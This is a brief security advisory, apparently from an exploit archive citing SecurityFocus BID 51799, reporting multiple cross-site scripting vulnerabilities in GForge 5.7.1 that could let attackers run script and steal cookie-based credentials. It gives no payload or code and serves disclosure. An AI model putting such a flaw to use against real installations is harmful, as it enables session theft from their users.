GForge 5.7.1 - Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/51799/info

GForge is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible.
